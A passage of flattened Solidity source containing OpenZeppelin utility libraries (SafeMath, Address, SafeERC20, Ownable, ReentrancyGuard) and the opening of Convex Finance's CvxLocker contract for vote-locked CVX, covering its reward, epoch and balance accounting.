* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\contracts\math\Math.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin\contracts\utils\ReentrancyGuard.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts\CvxLocker.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// CVX Locking contract for https://www.convexfinance.com/
// CVX locked in this contract will be entitled to voting rights for the Convex Finance platform
// Based on EPS Staking contract for http://ellipsis.finance/
// Based on SNX MultiRewards by iamdefinitelyahuman - https://github.com/iamdefinitelyahuman/multi-rewards
contract CvxLocker is ReentrancyGuard, Ownable {
using BoringMath for uint256;
using BoringMath224 for uint224;
using BoringMath112 for uint112;
using BoringMath32 for uint32;
using SafeERC20
for IERC20;
/* ========== STATE VARIABLES ========== */
struct Reward {
bool useBoost;
uint40 periodFinish;
uint208 rewardRate;
uint40 lastUpdateTime;
uint208 rewardPerTokenStored;
}
struct Balances {
uint112 locked;
uint112 boosted;
uint32 nextUnlockIndex;
}
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
struct EarnedData {
address token;
uint256 amount;
}
struct Epoch {
uint224 supply; //epoch boosted supply
uint32 date; //epoch start date
}
//token constants
IERC20 public constant stakingToken = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); //cvx
address public constant cvxCrv = address(0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7);
//rewards
address[] public rewardTokens;
mapping(address => Reward) public rewardData;
// Duration that rewards are streamed over
uint256 public constant rewardsDuration = 86400 * 7;
// Duration of lock/earned penalty period
uint256 public constant lockDuration = rewardsDuration * 17;
// reward token -> distributor -> is approved to add rewards
mapping(address => mapping(address => bool)) public rewardDistributors;
// user -> reward token -> amount
mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
//supplies and epochs
uint256 public lockedSupply;
uint256 public boostedSupply;
Epoch[] public epochs;
//mappings for balance data
mapping(address => Balances) public balances;
mapping(address => LockedBalance[]) public userLocks;
//boost
address public boostPayment = address(0x1389388d01708118b497f59521f6943Be2541bb7);
uint256 public maximumBoostPayment = 0;
uint256 public boostRate = 10000;
uint256 public nextMaximumBoostPayment = 0;
uint256 public nextBoostRate = 10000;
uint256 public constant denominator = 10000;
//staking
uint256 public minimumStake = 10000;
uint256 public maximumStake = 10000;
address public stakingProxy;
address public constant cvxcrvStaking = address(0x3Fe65692bfCD0e6CF84cB1E7d24108E434A7587e);
uint256 public constant stakeOffsetOnLock = 500; //allow broader range for staking when depositing
//management
uint256 public kickRewardPerEpoch = 100;
uint256 public kickRewardEpochDelay = 4;
//shutdown
bool public isShutdown = false;
//erc20-like interface
string private _name;
string private _symbol;
uint8 private immutable _decimals;
/* ========== CONSTRUCTOR ========== */
constructor() public Ownable() {
_name = "Vote Locked Convex Token";
_symbol = "vlCVX";
_decimals = 18;
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
epochs.push(Epoch({
supply: 0,
date: uint32(currentEpoch)
}));
}
function decimals() public view returns (uint8) {
return _decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
/* ========== ADMIN CONFIGURATION ========== */
// Add a new reward token to be distributed to stakers
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) public onlyOwner {
require(rewardData[_rewardsToken].lastUpdateTime == 0);
require(_rewardsToken != address(stakingToken));
rewardTokens.push(_rewardsToken);
rewardData[_rewardsToken].lastUpdateTime = uint40(block.timestamp);
rewardData[_rewardsToken].periodFinish = uint40(block.timestamp);
rewardData[_rewardsToken].useBoost = _useBoost;
rewardDistributors[_rewardsToken][_distributor] = true;
}
// Modify approval for an address to call notifyRewardAmount
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external onlyOwner {
require(rewardData[_rewardsToken].lastUpdateTime > 0);
rewardDistributors[_rewardsToken][_distributor] = _approved;
}
//Set the staking contract for the underlying cvx. immutable to avoid foul play
function setStakingContract(address _staking) external onlyOwner {
require(stakingProxy == address(0), "staking contract immutable");
stakingProxy = _staking;
}
//set staking limits. will stake the mean of the two once either ratio is crossed
function setStakeLimits(uint256 _minimum, uint256 _maximum) external onlyOwner {
require(_minimum <= denominator, "min range");
require(_maximum <= denominator, "max range");
minimumStake = _minimum;
maximumStake = _maximum;
updateStakeRatio(0);
}
//set boost parameters
function setBoost(uint256 _max, uint256 _rate, address _receivingAddress) external onlyOwner {
require(maximumBoostPayment < 1500, "over max payment"); //max 15%
require(boostRate < 30000, "over max rate"); //max 3x
require(_receivingAddress != address(0), "invalid address"); //must point somewhere valid
nextMaximumBoostPayment = _max;
nextBoostRate = _rate;
boostPayment = _receivingAddress;
}
//set kick incentive
function setKickIncentive(uint256 _rate, uint256 _delay) external onlyOwner {
require(_rate <= 500, "over max rate"); //max 5% per epoch
require(_delay >= 2, "min delay"); //minimum 2 epochs of grace
kickRewardPerEpoch = _rate;
kickRewardEpochDelay = _delay;
}
//shutdown the contract. unstake all tokens. release all locks
function shutdown() external onlyOwner {
if (stakingProxy != address(0)) {
uint256 stakeBalance = IStakingProxy(stakingProxy).getBalance();
IStakingProxy(stakingProxy).withdraw(stakeBalance);
}
isShutdown = true;
}
//set approvals for staking cvx and cvxcrv
function setApprovals() external {
IERC20(cvxCrv).safeApprove(cvxcrvStaking, 0);
IERC20(cvxCrv).safeApprove(cvxcrvStaking, uint256(-1));
IERC20(stakingToken).safeApprove(stakingProxy, 0);
IERC20(stakingToken).safeApprove(stakingProxy, uint256(-1));
}
/* ========== VIEWS ========== */
function _rewardPerToken(address _rewardsToken) internal view returns(uint256) {
if (boostedSupply == 0) {
return rewardData[_rewardsToken].rewardPerTokenStored;
}
return
uint256(rewardData[_rewardsToken].rewardPerTokenStored).add(
_lastTimeRewardApplicable(rewardData[_rewardsToken].periodFinish).sub(
rewardData[_rewardsToken].lastUpdateTime).mul(
rewardData[_rewardsToken].rewardRate).mul(1e18).div(rewardData[_rewardsToken].useBoost ? boostedSupply : lockedSupply)
);
}
function _earned(
address _user,
address _rewardsToken,
uint256 _balance
) internal view returns(uint256) {
return _balance.mul(
_rewardPerToken(_rewardsToken).sub(userRewardPerTokenPaid[_user][_rewardsToken])
).div(1e18).add(rewards[_user][_rewardsToken]);
}
function _lastTimeRewardApplicable(uint256 _finishTime) internal view returns(uint256){
return Math.min(block.timestamp, _finishTime);
}
function lastTimeRewardApplicable(address _rewardsToken) public view returns(uint256) {
return _lastTimeRewardApplicable(rewardData[_rewardsToken].periodFinish);
}
function rewardPerToken(address _rewardsToken) external view returns(uint256) {
return _rewardPerToken(_rewardsToken);
}
function getRewardForDuration(address _rewardsToken) external view returns(uint256) {
return uint256(rewardData[_rewardsToken].rewardRate).mul(rewardsDuration);
}
// Address and claimable amount of all reward tokens for the given account
function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards) {
userRewards = new EarnedData[](rewardTokens.length);
Balances storage userBalance = balances[_account];
uint256 boostedBal = userBalance.boosted;
for (uint256 i = 0; i < userRewards.length; i++) {
address token = rewardTokens[i];
userRewards[i].token = token;
userRewards[i].amount = _earned(_account, token, rewardData[token].useBoost ? boostedBal : userBalance.locked);
}
return userRewards;
}
// Total BOOSTED balance of an account, including unlocked but not withdrawn tokens
function rewardWeightOf(address _user) view external returns(uint256 amount) {
return balances[_user].boosted;
}
// total token balance of an account, including unlocked but not withdrawn tokens
function lockedBalanceOf(address _user) view external returns(uint256 amount) {
return balances[_user].locked;
}
//BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch
function balanceOf(address _user) view external returns(uint256 amount) {
LockedBalance[] storage locks = userLocks[_user];
Balances storage userBalance = balances[_user];
uint256 nextUnlockIndex = userBalance.nextUnlockIndex;
//start with current boosted amount
amount = balances[_user].boosted;
uint256 locksLength = locks.length;
//remove old records only (will be better gas-wise than adding up)
for (uint i = nextUnlockIndex; i < locksLength; i++) {
if (locks[i].unlockTime <= block.timestamp) {
amount = amount.sub(locks[i].boosted);
} else {
//stop now as no futher checks are needed
break;
}
}
//also remove amount in the current epoch
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
if (locksLength > 0 && uint256(locks[locksLength - 1].unlockTime).sub(lockDuration) == currentEpoch) {
amount = amount.sub(locks[locksLength - 1].boosted);
}
return amount;
}
//BOOSTED balance of an account which only includes properly locked tokens at the given epoch
function balanceAtEpochOf(uint256 _epoch, address _user) view external returns(uint256 amount) {
LockedBalance[] storage locks = userLocks[_user];
//get timestamp of given epoch index
uint256 epochTime = epochs[_epoch].date;
//get timestamp of first non-inclusive epoch
uint256 cutoffEpoch = epochTime.sub(lockDuration);
//current epoch is not counted
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
//need to add up since the range could be in the middle somewhere
//traverse inversely to make more current queries more gas efficient
for (uint i = locks.length - 1; i + 1 != 0; i--) {
uint256 lockEpoch = uint256(locks[i].unlockTime).sub(lockDuration);
//lock epoch must be less or equal to the epoch we're basing from.
//also not include the current epoch
if (lockEpoch <= epochTime && lockEpoch < currentEpoch) {
if (lockEpoch > cutoffEpoch) {
amount = amount.add(locks[i].boosted);
} else {
//stop now as no futher checks matter
break;
}
}
}
return amount;
}
//supply of all properly locked BOOSTED balances at most recent eligible epoch
function totalSupply() view external returns(uint256 supply) {
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
uint256 cutoffEpoch = currentEpoch.sub(lockDuration);
uint256 epochindex = epochs.length;
//do not include current epoch's supply
if ( uint256(epochs[epochindex - 1].date) == currentEpoch) {
epochindex--;
}
//traverse inversely to make more current queries more gas efficient
for (uint i = epochindex - 1; i + 1 != 0; i--) {
Epoch storage e = epochs[i];
if (uint256(e.date) <= cutoffEpoch) {
break;
}
supply = supply.add(e.supply);
}
return supply;
}
//supply of all properly locked BOOSTED balances at the given epoch
function totalSupplyAtEpoch(uint256 _epoch) view external returns(uint256 supply) {
uint256 epochStart = uint256(epochs[_epoch].date).div(rewardsDuration).mul(rewardsDuration);
uint256 cutoffEpoch = epochStart.sub(lockDuration);
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
//do not include current epoch's supply
if (uint256(epochs[_epoch].date) == currentEpoch) {
_epoch--;
}
//traverse inversely to make more current queries more gas efficient
for (uint i = _epoch; i + 1 != 0; i--) {
Epoch storage e = epochs[i];
if (uint256(e.date) <= cutoffEpoch) {
break;
}
supply = supply.add(epochs[i].supply);
}
return supply;
}
//find an epoch index based on timestamp
function findEpochId(uint256 _time) view external returns(uint256 epoch) {
uint256 max = epochs.length - 1;
uint256 min = 0;
//convert to start point
_time = _time.div(rewardsDuration).mul(rewardsDuration);
for (uint256 i = 0; i < 128; i++) {
if (min >= max) break;
uint256 mid = (min + max + 1) / 2;
uint256 midEpochBlock = epochs[mid].date;
if(midEpochBlock == _time){
//found
return mid;
}else if (midEpochBlock < _time) {
min = mid;
} else{
max = mid - 1;
}
}
return min;
}
// Information on a user's locked balances
function lockedBalances(
address _user
) view external returns(
uint256 total,
uint256 unlockable,
uint256 locked,
